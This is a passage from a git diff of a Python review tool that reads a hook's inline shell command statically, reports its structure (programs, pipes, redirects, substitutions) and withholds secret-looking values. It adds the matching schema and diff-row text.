"Substitutions", + "type": "integer" + }, + "unnamed": { + "anyOf": [ + { + "type": "integer" + }, + { + "type": "null" + } + ], + "default": null, + "title": "Unnamed" + } + }, + "required": [ + "commands", + "statements", + "pipes", + "substitutions", + "control_flow", + "quoted" + ], + "title": "HostHookCommandShapeV9", + "type": "object" + }, + "HostHookCommandV9": { + "additionalProperties": false, + "description": "A hook command plus the shape of the inline command, or why it has none (#934).\n\nExactly one of ``shape`` and ``shape_limit`` is present. ``shape_limit``\nsays why the command is not described and the digest is all there is to\ncompare: ``too_long`` (more than 8,192 characters as ``config_sha256``'s\ninput holds it), ``unsupported_shell`` (the handler's ``shell`` setting is\nneither ``bash`` nor ``sh``) or ``unsupported_syntax`` (a form the bounded\nreading refuses whole: a here-document, a backquote, ``$(( \u2026 ))``,\n``case``, a function definition, an unterminated quote or group, or a\ncommand past its word or nesting bound). A row then says so and that the\nconfig has to be opened to read the change. Left out of grant equality,\nthe inventory digests and saved baselines, like the rest of ``handlers``.", "properties": { "executable": { "title": "Executable", @@ -659,13 +766,41 @@ "pattern": "^[0-9a-f]{64}$", "title": "Sha256", "type": "string" + }, + "shape": { + "anyOf": [ + { + "$ref": "#/$defs/HostHookCommandShapeV9" + }, + { + "type": "null" + } + ], + "default": null + }, + "shape_limit": { + "anyOf": [ + { + "enum": [ + "too_long", + "unsupported_shell", + "unsupported_syntax" + ], + "type": "string" + }, + { + "type": "null" + } + ], + "default": null, + "title": "Shape Limit" } }, "required": [ "executable", "sha256" ], - "title": "HostHookCommandV7", + "title": "HostHookCommandV9", "type": "object" }, "HostHookGrantV9": { @@ -789,7 +924,7 @@ }, "HostHookHandlerV9": { "additionalProperties": false, - "description": "A hook handler plus its ``args``, its documented settings and, on a Claude Code tool event, its matcher's reach.\n\n``args`` is present only on a handler that declares them\n(:class:`HostHookArgsV9`). ``type``, ``async``, ``asyncRewake``,\n``shell`` and ``once``, the documented boolean and enumerated handler\nsettings (https://code.claude.com/docs/en/hooks#common-fields), are each\npresent only when the handler declares a value other than ``null``, and\npublished as a timeout is: a boolean or finite number as declared, a\nstring as written when it is a plain token, and anything else as\n```` (#971, #972). Other handler settings, such as ``if``,\n``statusMessage``, ``prompt``, ``model``, ``url`` and ``headers``, are not\npublished; a change confined to them is a row whose text says it is not\nshown.\n\n``matcher_reach`` is present on every handler of a Claude Code\n``PreToolUse``, ``PostToolUse``, ``PostToolUseFailure``,\n``PermissionRequest`` or ``PermissionDenied`` hook, the events whose\nmatcher filters the tool name\n(https://code.claude.com/docs/en/hooks#matcher-patterns), and absent on\nevery other, so absence means not examined. ``no_tool_name``: every string\nthe declared matcher can match holds a character no built-in or MCP tool\nname holds, so the handler runs for no tool call, as with ``Bash(git\npush*)``, which Claude Code reads as a regular expression over the tool\nname. ``possible``: any other matcher, including one this reader does not\ndecide. Read from the declared matcher, not the published one, and left\nout of grant equality, the inventory digests and saved baselines like the\nrest of ``handlers``.", + "description": "A hook handler plus its ``args``, its documented settings and, on a Claude Code tool event, its matcher's reach.\n\n``command`` also carries the shape of an inline command, or why it has\nnone (:class:`HostHookCommandV9`, #934). ``args`` is present only on a handler that declares them\n(:class:`HostHookArgsV9`). ``type``, ``async``, ``asyncRewake``,\n``shell`` and ``once``, the documented boolean and enumerated handler\nsettings (https://code.claude.com/docs/en/hooks#common-fields), are each\npresent only when the handler declares a value other than ``null``, and\npublished as a timeout is: a boolean or finite number as declared, a\nstring as written when it is a plain token, and anything else as\n```` (#971, #972). Other handler settings, such as ``if``,\n``statusMessage``, ``prompt``, ``model``, ``url`` and ``headers``, are not\npublished; a change confined to them is a row whose text says it is not\nshown.\n\n``matcher_reach`` is present on every handler of a Claude Code\n``PreToolUse``, ``PostToolUse``, ``PostToolUseFailure``,\n``PermissionRequest`` or ``PermissionDenied`` hook, the events whose\nmatcher filters the tool name\n(https://code.claude.com/docs/en/hooks#matcher-patterns), and absent on\nevery other, so absence means not examined. ``no_tool_name``: every string\nthe declared matcher can match holds a character no built-in or MCP tool\nname holds, so the handler runs for no tool call, as with ``Bash(git\npush*)``, which Claude Code reads as a regular expression over the tool\nname. ``possible``: any other matcher, including one this reader does not\ndecide. Read from the declared matcher, not the published one, and left\nout of grant equality, the inventory digests and saved baselines like the\nrest of ``handlers``.", "properties": { "args": { "anyOf": [ @@ -847,7 +982,7 @@ "command": { "anyOf": [ { - "$ref": "#/$defs/HostHookCommandV7" + "$ref": "#/$defs/HostHookCommandV9" }, { "type": "null" diff --git a/src/agents_shipgate/core/capability_diff_rows.py b/src/agents_shipgate/core/capability_diff_rows.py index 4cff2a40..ebd7460f 100644 --- a/src/agents_shipgate/core/capability_diff_rows.py +++ b/src/agents_shipgate/core/capability_diff_rows.py @@ -29,12 +29,15 @@ from typing import Any from agents_shipgate.core.claude_permission_rules import is_carve_out +from agents_shipgate.core.hook_command_shape import MAX_COMMAND_CHARS from agents_shipgate.core.hook_matcher_reach import NO_TOOL_NAME from agents_shipgate.core.host_grants import ( _PLAIN_TOKEN_RE, AGENT_RULE_INPUTS, DETAIL_NOT_SHOWN, HOOK_HANDLER_SETTINGS, + MAX_SHAPE_COMMANDS, + MAX_SHAPE_REDIRECTS, UNTRUSTED_INPUT_TRIGGERS, PermissionRuleAssessment, PermissionRuleReplacement, @@ -1483,6 +1486,171 @@ def _command_text(command: dict[str, Any]) -> str: return f"{command.get('executable') or DETAIL_NOT_SHOWN} {_digest_text(command.get('sha256'))}" +#: Why a hook command is not described, in the words a row uses (#934). +_SHAPE_LIMIT_TEXT = { + "too_long": f"is longer than {MAX_COMMAND_CHARS:,} characters", + "unsupported_syntax": "uses shell syntax this output does not describe", + "unsupported_shell": "is written for a shell this output does not describe", +} +#: The counts a command's shape publishes, with the words a row names them by. +_SHAPE_COUNTS = ( + ("statements", "simple commands"), + ("pipes", "pipes"), + ("substitutions", "command substitutions"), + ("control_flow", "conditionals and loops"), + ("quoted", "quoted strings"), + ("unnamed", "commands with no plain name"), +) +_OPEN_THE_CONFIG = "open the config to read the change" + + +def _shape_limit_text(limit: Any) -> str: + return _SHAPE_LIMIT_TEXT.get(str(limit), "is not described") + + +def _plain_shape(command: dict[str, Any], *, ignore_script: bool = False) -> bool: + """Whether a described command is one program with arguments only (#934). + + One command, no pipe, substitution, conditional or redirect, a program + name the row already prints as its executable, and (unless + ``ignore_script``) no script path: a shape would repeat what + ``executable`` says. + """ + + shape = command.get("shape") + if not isinstance(shape, dict): + return False + names = list(shape.get("commands") or []) + executable = command.get("executable") + keys = ("pipes", "substitutions", "control_flow", "redirects") + (() if ignore_script else ("script",)) + return ( + shape.get("statements") == 1 + and not any(shape.get(key) for key in keys) + and (names == [executable] or (not names and shape.get("unnamed") == 1)) + ) + + +def _shape_summary(command: dict[str, Any]) -> str: + """What an added or removed hook's command is made of, beyond its first word (#934). + + Empty for a plain command whose program name and digest already say all + its shape would: one program, no script path, pipe, redirect, + substitution or conditional. A command that is not described says so, and + that the config has to be opened to read it. + """ + + limit = command.get("shape_limit") + if limit: + return f"not described: it {_shape_limit_text(limit)}; open the config to read it" + shape = command.get("shape") + if not isinstance(shape, dict) or _plain_shape(command): + return "" + names = list(shape.get("commands") or []) + items: list[str] = [] + if _plain_shape(command, ignore_script=True): + # One program and its script path: the executable already names the program. + return f"script {shape['script']}" + if names: + items.append("runs " + ", ".join(names) + _more(int(shape.get("commands_more") or 0), "other program")) + if shape.get("unnamed"): + items.append(_count(int(shape["unnamed"]), "command") + " with no plain name") + if shape.get("script"): + items.append(f"script {shape['script']}") + for key, noun in (("pipes", "pipe"), ("substitutions", "command substitution")): + if shape.get(key): + items.append(_count(int(shape[key]), noun)) + if shape.get("control_flow"): + items.append(_count(int(shape["control_flow"]), "conditional or loop keyword")) + redirects = list(shape.get("redirects") or []) + if redirects: + total = len(redirects) + int(shape.get("redirects_more") or 0) + shown = redirects[:_NAME_LIMIT] + items.append(f"{_count(total, 'redirect')} ({', '.join(shown)}{', …' if total > len(shown) else ''})") + return "; ".join(items) + + +def _count(count: int, noun: str) -> str: + return f"{count} {noun}{'' if count == 1 else 's'}" + + +def _shape_differences(old: dict[str, Any], new: dict[str, Any], *, programs: bool = True) -> list[str]: + """How two described commands differ in what a shape publishes (#934), in a reviewer's words. + + ``programs`` is false when one program replaced another, which the + executables already say. + """ + + facts: list[str] = [] + old_names, new_names = list(old.get("commands") or []), list(new.get("commands") or []) + gained = [name for name in new_names if name not in old_names] + lost = [name for name in old_names if name not in new_names] + if programs and (gained or lost): + shown = [*(f"+{name}" for name in gained), *(f"-{name}" for name in lost)] + facts.append( + "programs " + ", ".join(shown[:_NAME_LIMIT]) + _more(max(0, len(shown) - _NAME_LIMIT), "other change") + ) + if int(old.get("commands_more") or 0) != int(new.get("commands_more") or 0): + facts.append( + f"programs past the first {MAX_SHAPE_COMMANDS}: " + f"{int(old.get('commands_more') or 0)} → {int(new.get('commands_more') or 0)}" + ) + if old.get("script") != new.get("script"): + facts.append(f"script {old.get('script') or '(none)'} → {new.get('script') or '(none)'}") + for key, noun in _SHAPE_COUNTS: + before, after = int(old.get(key) or 0), int(new.get(key) or 0) + if before != after: + facts.append(f"{noun} {before} → {after}") + old_redirects, new_redirects = list(old.get("redirects") or []), list(new.get("redirects") or []) + if old_redirects != new_redirects or old.get("redirects_more") != new.get("redirects_more"): + gained_redirects = [item for item in new_redirects if item not in old_redirects] + lost_redirects = [item for item in old_redirects if item not in new_redirects] + shown = [*(f"+{item}" for item in gained_redirects), *(f"-{item}" for item in lost_redirects)] + facts.append( + "redirects " + (", ".join(shown[:_NAME_LIMIT]) or "reordered or past the first " + f"{MAX_SHAPE_REDIRECTS}") + + _more(max(0, len(shown) - _NAME_LIMIT), "other change") + ) + if facts and new_names and new_names == old_names: + facts.insert(0, "same programs (" + ", ".join(new_names) + ")") + return facts + + +def _command_shape_change(old: dict[str, Any], new: dict[str, Any]) -> str: + """What the shapes of two commands add to ``command changed``, or nothing for a grant that has none (#934). + + The digests moved, so the commands differ. When both are described and + differ in what a shape publishes, the differences are named. When they do + not, or when either is not described, the change is in text this output + does not show, and the row says the config has to be opened to read it. + """ + + old_limit, new_limit = old.get("shape_limit"), new.get("shape_limit") + old_shape, new_shape = old.get("shape"), new.get("shape") + if not (old_limit or isinstance(old_shape, dict)) or not (new_limit or isinstance(new_shape, dict)): + return "" + if old_limit or new_limit: + reasons = [ + f"{side} command {_shape_limit_text(limit)}" + for side, limit in (("base", old_limit), ("head", new_limit)) + if limit + ] + return f"; not described: {' and '.join(reasons)}; the digest moved, {_OPEN_THE_CONFIG}" + # One program replaced by another: the executables already say so. + replaced = ( + _plain_shape(old, ignore_script=True) and _plain_shape(new, ignore_script=True) + and old.get("executable") != new.get("executable") + ) + facts = _shape_differences(old_shape, new_shape, programs=not replaced) + if replaced and not facts: + return "" + if facts: + return "; " + "; ".join(facts) + return ( + "; same programs and structure; the change is in an argument or in quoted text this " + f"output does not show, {_OPEN_THE_CONFIG}" + ) + + def _args_text(args: dict[str, Any]) -> str: """A hook's published ``args`` as one line: the script path it publishes and its digest (#972).""" @@ -1522,7 +1690,8 @@ def _handler_value(field: str, value: Any) -> str: if value is None: return "(none)" if field == "command": - return _command_text(value) + summary = _shape_summary(value) + return _command_text(value) + (f" ({summary})" if summary else "") if field == "args": return _args_text(value) if field == "matcher" and value == "": @@ -1588,6 +1757,19 @@ def _published_json(value: Any) -> str: return json.dumps(value, sort_keys=True, ensure_ascii=False) +def _compared_json(field: str, value: Any) -> str: + """A handler field as two readings of it are compared (#934). + + A command's shape is read from the same text its digest is, so it adds + no difference of its own; it is rendered beside a change of the command. + A shell setting that moves it is its own difference, named on its own. + """ + + if field == "command" and isinstance(value, dict): + return _published_json({key: value.get(key) for key in ("executable", "sha256")}) + return _published_json(value) + + def _handler_changes(before: list[dict[str, Any]], after: list[dict[str, Any]]) -> list[str] | None: """Field differences between two readings of one event's handlers (#819). @@ -1611,11 +1793,14 @@ def _handler_changes(before: list[dict[str, Any]], after: list[dict[str, Any]]) for index, (old, new) in enumerate(zip(before, after, strict=True), start=1): for field in _HANDLER_FIELDS: old_value, new_value = old.get(field), new.get(field) - if _published_json(old_value) == _published_json(new_value): + if _compared_json(field, old_value) == _compared_json(field, new_value): continue label = f"handler {index} {field}" if several else field if field == "command" and old_value and new_value: - parts.append(f"{label} changed ({_command_text(old_value)} → {_command_text(new_value)})") + parts.append( + f"{label} changed ({_command_text(old_value)} → {_command_text(new_value)}" + f"{_command_shape_change(old_value, new_value)})" + ) elif field == "args" and old_value and new_value: parts.extend(_args_changes(label, old_value, new_value)) else: diff --git a/src/agents_shipgate/core/hook_command_shape.py b/src/agents_shipgate/core/hook_command_shape.py new file mode 100644 index 00000000..23ba0ec6 --- /dev/null +++ b/src/agents_shipgate/core/hook_command_shape.py @@ -0,0 +1,452 @@ +"""A bounded, static reading of a hook's inline shell command (#934). + +A hook row used to show an inline command as the name of its first word and a +digest: ``PreToolUse: command changed ( sha256:f23acba4b10f → + sha256:3f1dc36980b7)``. Two digests tell a reviewer nothing about +what the edit does to the hook, and a command that opens with an assignment, as +a script that reads its input first does, has no name to show at all. + +This module reads the command the way a POSIX shell groups it, never runs it, +and reports only its *structure*: the program each command position names, how +many commands, pipes, command substitutions, control-flow keywords and quoted +strings it holds, the redirect operators with their targets, and a script +path the way a hook's ``args`` publish one (#972). It reads no value: a word +is returned as the text it spells so the caller can decide, with the +redaction rules the grants already apply, whether any of it is published. + +The reading is deliberately small and fails closed. It accepts simple commands, +the operators ``|``, ``|&``, ``&&``, ``||``, ``;``, ``&`` and a newline, +``( … )`` and ``{ … }`` groups, ``if``/``elif``/``then``/``else``/``fi``, +``while``/``until``/``for``/``do``/``done``, ``! cmd``, ``[[ … ]]``, +``NAME=value`` prefixes, ``$( … )`` substitutions, quoting, and redirects +(``>``, ``>>``, ``<``, ``2>&1``, ``&>``). Anything else is refused whole, not +guessed at: a here-document or here-string, a backquote, ``$(( … ))``, ``$'…'``, +a process substitution, ``case``, a function definition, ``coproc``/``select``, +an unterminated quote or group, a command longer than +:data:`MAX_COMMAND_CHARS` or past :data:`MAX_WORDS` words or +:data:`MAX_DEPTH` levels of nesting. A command that runs ``bash -c '…'`` with a +literal script is read once more inside that script, up to +:data:`MAX_INLINE_SHELL_LEVELS` levels deep. + +It follows no wrapper (``env``, ``sudo``, ``xargs``, ``timeout``) and no +alias: the command position names the wrapper, and what it runs is not +established. The reading is linear in the command's length. +""" + +from __future__ import annotations + +import re +from dataclasses import dataclass, field +from typing import Literal + +#: The longest command, as ``config_sha256``'s input holds it, that is read. +MAX_COMMAND_CHARS = 8192 +#: The most words one command may hold, across every level it is read at. +MAX_WORDS = 2000 +#: How deep ``( … )``, ``$( … )`` and ``{ … }`` may nest. +MAX_DEPTH = 8 +#: How many ``bash -c '…'`` scripts deep a command is read. +MAX_INLINE_SHELL_LEVELS = 2 +#: How many of a statement's arguments are kept, for a script path to be found in. +MAX_STATEMENT_ARGS = 32 + +CommandLimit = Literal["too_long", "unsupported_syntax"] + + +class UnsupportedCommand(Exception): + """The command is outside the small grammar this module reads.""" + + def __init__(self, limit: CommandLimit = "unsupported_syntax") -> None: + super().__init__(limit) + self.limit = limit + + +@dataclass +class Statement: + """One simple command: the word at its command position and the words after it. + + ``word`` is the command word's value when it is a fixed string, else + ``None``; ``args`` holds the values of the first words after it, ``None`` + for one that is not a fixed string. + """ + + word: str | None + args: list[str | None] = field(default_factory=list) + + def inline_script(self) -> str | None: + """The literal script a shell runs with ``-c``, or ``None``.""" + + if self.word is None or self.word.rsplit("/", 1)[-1] not in _SHELLS: + return None + for index, arg in enumerate(self.args): + if arg is not None and _SHELL_C_FLAG.fullmatch(arg): + following = self.args[index + 1] if index + 1 < len(self.args) else None + return following if following else None + return None + + +@dataclass +class CommandStructure: + """What a command is made of, in the order it is written.""" + + statements: list[Statement] = field(default_factory=list) + pipes: int = 0 + substitutions: int = 0 + control: int = 0 + quoted: int = 0 + #: ``(operator, target)`` for each redirect to a file: ``>``, ``>>`` or + #: ``<``, and the target's value, ``None`` when it is not a fixed string. + redirects: list[tuple[str, str | None]] = field(default_factory=list) + + def merge(self, other: CommandStructure) -> None: + self.statements.extend(other.statements) + self.pipes += other.pipes + self.substitutions += other.substitutions + self.control += other.control + self.quoted += other.quoted + self.redirects.extend(other.redirects) + + +_SHELLS = frozenset({"bash", "sh", "zsh", "dash", "ksh"}) +_SHELL_C_FLAG = re.compile(r"-[A-Za-z]*c[A-Za-z]*") +_ASSIGNMENT = re.compile(r"[A-Za-z_][A-Za-z0-9_]*\+?=") +_NAME = re.compile(r"[A-Za-z_][A-Za-z0-9_]*") +#: The variables whose value is a path inside the repository or the plugin, the +#: two a hook's script path is documented to start with (#972). +_PATH_VARIABLES = frozenset({"CLAUDE_PROJECT_DIR", "CLAUDE_PLUGIN_ROOT"}) + +_WORD_END = frozenset(" \t\r\n;&|()<>") +_SPECIAL_PARAMETERS = frozenset("0123456789@*#?$!-") +#: Words read as a keyword at a command position. +_KEEP_COMMAND_POSITION = frozenset({"then", "else", "do", "!", "{", "time"}) +_OPENS_CONTROL = frozenset({"if", "elif", "while", "until"}) +_CLOSES = frozenset({"fi", "done", "}"}) +_UNSUPPORTED_KEYWORDS = frozenset({"case", "esac", "function", "select", "coproc"}) + + +class _Parser: + def __init__(self, text: str, budget: list[int]) -> None: + self.text = text + self.n = len(text) + self.i = 0 + self.budget = budget + self.structure = CommandStructure() + + # --- words ------------------------------------------------------------- + + def _spend(self) -> None: + self.budget[0] -= 1 + if self.budget[0] < 0: + raise UnsupportedCommand() + + def _word(self, depth: int) -> tuple[str | None, bool]: + """One word: its value when it is a fixed string, and whether its text is bare. + + Bare means unquoted, unescaped and holding no expansion, so a + keyword is only ever a bare word. + """ + + parts: list[str] = [] + dynamic = False + bare = True + text, n = self.text, self.n + while self.i < n: + char = text[self.i] + if char in _WORD_END: + break + if char == "'": + end = text.find("'", self.i + 1) + if end < 0: + raise UnsupportedCommand() + parts.append(text[self.i + 1 : end]) + self.i = end + 1 + self.structure.quoted += 1 + bare = False + elif char == '"': + dynamic |= self._double_quoted(parts, depth) + self.structure.quoted += 1 + bare = False + elif char == "\\": + if self.i + 1 >= n: + raise UnsupportedCommand() + if text[self.i + 1] != "\n": + # An escape can spell a path separator or a space; the + # word is then not a fixed string this reading vouches for. + dynamic = True + self.i += 2 + bare = False + elif char == "`": + raise UnsupportedCommand() + elif char == "$": + dynamic |= self._dollar(parts, depth) + bare = False + else: + parts.append(char) + self.i += 1 + return (None if dynamic else "".join(parts)), bare + + def _double_quoted(self, parts: list[str], depth: int) -> bool: + text, n = self.text, self.n + dynamic = False + self.i += 1 + while self.i < n: + char = text[self.i] + if char == '"': + self.i += 1 + return dynamic + if char == "\\": + if self.i + 1 >= n: + raise UnsupportedCommand() + following = text[self.i + 1] + if following in '\\"$`': + parts.append(following) + elif following != "\n": + parts.append("\\" + following) + self.i += 2 + elif char == "$": + dynamic |= self._dollar(parts, depth) + elif char == "`": + raise UnsupportedCommand() + else: + parts.append(char) + self.i += 1 + raise UnsupportedCommand() + + def _dollar(self, parts: list[str], depth: int) -> bool: + """An expansion at ``$``; True when it makes the word not a fixed string.""" + + text, n, i = self.text, self.n, self.i + following = text[i + 1] if i + 1 < n else "" + if following == "(": + if text.startswith("$((", i) or depth + 1 > MAX_DEPTH: + raise UnsupportedCommand() + self.i = i + 2 + self.structure.substitutions += 1 + self._list(")", depth + 1) + return True + if following == "{": + end = text.find("}", i + 2) + if end < 0: + raise UnsupportedCommand() + inner = text[i + 2 : end] + if any(mark in inner for mark in "$`\"'\\({"): + raise UnsupportedCommand() + self.i = end + 1 + if inner in _PATH_VARIABLES: + parts.append("${" + inner + "}") + return False + return True + if following in ("'", '"'): + raise UnsupportedCommand() + name = _NAME.match(text, i + 1) + if name: + self.i = name.end() + if name.group(0) in _PATH_VARIABLES: + parts.append("${" + name.group(0) + "}") + return False + return True + if following and following in _SPECIAL_PARAMETERS: + self.i = i + 2 + return True + parts.append("$") + self.i = i + 1 + return False + + # --- redirects --------------------------------------------------------- + + def _redirect(self, depth: int) -> None: + """A redirect operator at ``self.i`` and its target word.""" + + text = self.text + char = text[self.i] + if char == "&": + # `&>` and `&>>`. + self.i += 2 + operator = ">>" if text.startswith(">", self.i) and self._take(">") else ">" + duplicate = False + elif char == ">": + self.i += 1 + if text.startswith(">", self.i): + self.i += 1 + operator, duplicate = ">>", False + elif text.startswith("&", self.i): + self.i += 1 + operator, duplicate = ">", True + elif text.startswith("|", self.i): + self.i += 1 + operator, duplicate = ">", False + elif text.startswith("(", self.i): + raise UnsupportedCommand() + else: + operator, duplicate = ">", False + else: + self.i += 1 + if text.startswith(("<", ">", "("), self.i): + # A here-document, a here-string, `<>` or a process substitution. + raise UnsupportedCommand() + if text.startswith("&", self.i): + self.i += 1 + operator, duplicate = "<", True + else: + operator, duplicate = "<", False + self._skip_blanks() + if self.i >= self.n or self.text[self.i] in _WORD_END: + raise UnsupportedCommand() + self._spend() + target, _bare = self._word(depth) + if duplicate and target is not None and (target == "-" or target.isdigit()): + return + self.structure.redirects.append((operator, target)) + + def _take(self, char: str) -> bool: + if self.text.startswith(char, self.i): + self.i += 1 + return True + return False + + def _skip_blanks(self) -> None: + while self.i < self.n and self.text[self.i] in " \t": + self.i += 1 + + # --- lists ------------------------------------------------------------- + + def _list(self, closer: str | None, depth: int) -> None: + """Commands up to ``closer`` (``)`` for a group or substitution), or the end.""" + + text, n = self.text, self.n + command_position = True + in_test = False + in_for_header = False + current: Statement | None = None + while True: + if self.i >= n: + if closer is not None or in_test: + raise UnsupportedCommand() + return + char = text[self.i] + if char in " \t\r": + self.i += 1 + continue + if char == "\n": + self.i += 1 + if not in_test: + command_position, in_for_header, current = True, False, None + continue + if char == "#": + while self.i < n and text[self.i] != "\n": + self.i += 1 + continue + if char == "\\" and text.startswith("\n", self.i + 1): + self.i += 2 + continue + if in_test and char in "&|()<>": + # Inside `[[ … ]]` these are comparisons and grouping, not lists + # or redirects; a single `|` or `&` is not valid there. + pair = text[self.i : self.i + 2] + if pair in ("&&", "||"): + self.i += 2 + elif char in "()<>": + self.i += 1 + else: + raise UnsupportedCommand() + continue + if char == ";": + if text.startswith((";;", ";&"), self.i): + raise UnsupportedCommand() + if in_test: + raise UnsupportedCommand() + self.i += 1 + command_position, in_for_header, current = True, False, None + continue + if char == "&": + if text.startswith("&>", self.i): + self._redirect(depth) + continue + self.i += 2 if text.startswith("&&", self.i) else 1 + command_position, current = True, None + continue + if char == "|": + self.structure.pipes += 0 if text.startswith("||", self.i) else 1 + self.i += 2 if text.startswith(("||", "|&"), self.i) else 1 + command_position, current = True, None + continue + if char == "(": + if not command_position or depth + 1 > MAX_DEPTH or text.startswith("((", self.i): + raise UnsupportedCommand() + self.i += 1 + self._list(")", depth + 1) + command_position, current = False, None + continue + if char == ")": + if closer != ")": + raise UnsupportedCommand() + self.i += 1 + return + if char in "<>": + self._redirect(depth) + continue + + start = self.i + self._spend() + value, bare = self._word(depth) + raw = text[start : self.i] + if bare and raw.isdigit() and self.i < n and text[self.i] in "<>": + # The file descriptor of the redirect that follows (`2>&1`). + continue + if in_test: + if bare and raw == "]]": + in_test, command_position = False, False + continue + if command_position: + if _ASSIGNMENT.match(raw): + if raw.endswith("=") and text.startswith("(", self.i): + raise UnsupportedCommand() + continue + keyword = raw if bare else "" + if keyword in _UNSUPPORTED_KEYWORDS: + raise UnsupportedCommand() + if keyword == "[[": + in_test, command_position, current = True, False, None + continue + if keyword == "for": + self.structure.control += 1 + in_for_header, command_position, current = True, False, None + continue + if keyword in _OPENS_CONTROL: + self.structure.control += 1 + continue + if keyword in _KEEP_COMMAND_POSITION: + continue + if keyword in _CLOSES: + command_position, current = False, None + continue + command_position = False + if value == "[": + # The test builtin: not a program this output names. + current = None + continue + current = Statement(value) + self.structure.statements.append(current) + continue + if current is not None and len(current.args) < MAX_STATEMENT_ARGS and not in_for_header: + current.args.append(value) + + +def parse_command(text: str) -> CommandStructure: + """The structure of ``text``, or :class:`UnsupportedCommand` (never a guess).""" + + if len(text) > MAX_COMMAND_CHARS: + raise UnsupportedCommand("too_long") + return _parse(text, 0, [MAX_WORDS]) + + +def _parse(text: str, level: int, budget: list[int]) -> CommandStructure: + parser = _Parser(text, budget) + parser._list(None, 0) + structure = parser.structure + if level < MAX_INLINE_SHELL_LEVELS: + for statement in list(structure.statements): + script = statement.inline_script() + if script is not None: + structure.merge(_parse(script, level + 1, budget)) + return structure diff --git a/src/agents_shipgate/core/host_grants.py b/src/agents_shipgate/core/host_grants.py index fcf6ca32..301ca894 100644 --- a/src/agents_shipgate/core/host_grants.py +++ b/src/agents_shipgate/core/host_grants.py @@ -49,6 +49,10 @@ same_spelling, unconsulted_path_rule, ) +from agents_shipgate.core.hook_command_shape import ( + UnsupportedCommand, + parse_command, +) from agents_shipgate.core.hook_matcher_reach import ( CLAUDE_TOOL_NAME_EVENTS, NO_TOOL_NAME, @@ -1506,8 +1510,8 @@ def _setting_grant( }) -def _hook_command(value: Any) -> dict[str, str] | None: - """A hook's command as its grant publishes it: the executable's name and a digest (#819). +def _hook_command(value: Any, shell: Any = None) -> dict[str, Any] | None: + """A hook's command as its grant publishes it: the executable's name, a digest and a shape (#819, #934). The command's text is never published. ``sha256`` is the digest of the whole command as ``config_sha256``'s input holds it @@ -1523,12 +1527,16 @@ def _hook_command(value: Any) -> dict[str, str] | None: is never named: that input keeps a URL's host and drops the rest, so its last segment would be the host (#819 review, cycle 5). It is a label, not a claim about what a host runs. + + ``shape`` or ``shape_limit`` (#934) says what is in a command beyond its + first word, as :func:`_command_shape` reads it. """ if not isinstance(value, str) or not value.strip(): return None written = value.split(maxsplit=1)[0] - words = _sanitize_sensitive_string(value).split(maxsplit=1) + sanitized = _sanitize_sensitive_string(value) + words = sanitized.split(maxsplit=1) first = words[0] if words else "" named = ( first not in _SHELL_RESERVED_WORDS @@ -1537,7 +1545,170 @@ def _hook_command(value: Any) -> dict[str, str] | None: and "://" not in first ) name = re.split(r"[/\\]", first)[-1].strip("'\"") if named else "" - return {"executable": _plain_token(name), "sha256": redacted_config_sha256(value)} + return { + "executable": _plain_token(name), + "sha256": redacted_config_sha256(value), + **_command_shape(value, sanitized, shell), + } + + +#: How many distinct program names, and how many redirects, a command's shape lists. +MAX_SHAPE_COMMANDS = 12 +MAX_SHAPE_REDIRECTS = 8 +#: The text a command is read from keeps these markers in place of a withheld +#: value; a marker holds ``<`` and ``>``, which a shell reads as redirects. +_REDACTION_MARKER_RE = re.compile(r"<(?:redacted(?:-[a-z]+)?|invalid-host)>") +#: What a marker is read as: a character no plain token holds, so a word +#: carrying one is never named (#934). +_MARKER_WORD = "\N{REPLACEMENT CHARACTER}" +#: A line continuation, which a shell removes before it reads the words. +_LINE_CONTINUATION_RE = re.compile(r"\\\r?\n") +#: A token of this length or longer that is only letters and digits and holds +#: both is read as a generated key (a hex digest, a base64-like secret), not +#: a program's or a file's name, whatever shape no redaction rule knows it by +#: (#934). A name with a separator (``-``, ``_``, ``.``) is not read so. +_GENERATED_TOKEN_CHARS = 20 +_ALNUM_RE = re.compile(r"[A-Za-z0-9]+") + + +def _path_looks_generated(path: str) -> bool: + """Whether any segment of a path, or any part of one between dots, looks generated.""" + + return any(_looks_generated(part) for part in re.split(r"[/.]", path)) + + +def _looks_generated(token: str) -> bool: + return ( + len(token) >= _GENERATED_TOKEN_CHARS + and _ALNUM_RE.fullmatch(token) is not None + and any(char.isdigit() for char in token) + and any(char.isalpha() for char in token) + ) +#: Programs that run the script named by one of their arguments (#934). +_SCRIPT_INTERPRETER_RE = re.compile( + r"(?:python[0-9.]*|pythonw|py|node|nodejs|deno|bun|tsx|ts-node|ruby|perl|php|lua|" + r"bash|sh|zsh|dash|ksh|pwsh|powershell)" +) + + +def _redirect_target(target: str | None) -> str: + """A redirect's target as a shape publishes it: a repository-relative path, ``/dev/null``, or nothing. + + A path of the shape :data:`_HOOK_SCRIPT_ARG_RE` publishes for a script, + without its extension requirement, that no redaction rule rewrites. An + absolute path, a path through ``..`` or ``~``, a variable, a quoted + string and any other word is :data:`DETAIL_NOT_SHOWN`. + """ + + if target == "/dev/null": + return target + if ( + target is not None + and len(target) <= MAX_DETAIL_SCRIPT_CHARS + and _REDIRECT_TARGET_RE.fullmatch(target) + and _detail_string_rules(target) == target + and not _path_looks_generated(target) + ): + return target + return DETAIL_NOT_SHOWN + + +def _command_script(statements: list[Any]) -> str | None: + """The script path a command runs, as a hook's ``args`` publish one (#972, #934). + + The first command whose own word is a script path, or whose program is an + interpreter (:data:`_SCRIPT_INTERPRETER_RE`) with a script path among its + first arguments, by the rule :func:`_published_script_index` applies to + ``args``: nothing a redaction rule rewrites, alone or after the arguments + before it, and no path that leaves the repository. A path argument of any + other program is not a script that runs. + """ + + for statement in statements: + word = statement.word + if word is None: + continue + if ( + len(word) <= MAX_DETAIL_SCRIPT_CHARS + and _HOOK_SCRIPT_ARG_RE.fullmatch(word) + and _detail_string_rules(word) == word + ): + return word + if _SCRIPT_INTERPRETER_RE.fullmatch(word.rsplit("/", 1)[-1]): + args = list(statement.args) + index = _published_script_index(args, _redact_secret_values(args)) + if index is not None: + return args[index] + return None + + +def _command_shape(value: str, sanitized: str, shell: Any) -> dict[str, Any]: + """What a hook's inline command is made of, or why it is not described (#934). + + Read from the command as ``config_sha256``'s input holds it + (``sanitized``), so a value that input withholds is withheld here and a + rotation it ignores changes nothing. A command that continues a line with + a backslash is read with the lines joined, as a shell reads it, and + withheld again from that: the string rule takes the backslash for the + value of ``--token \\`` and leaves the value on the next line, where it + would be a command's name. Returned as ``{"shape": {…}}`` or + ``{"shape_limit": reason}``, 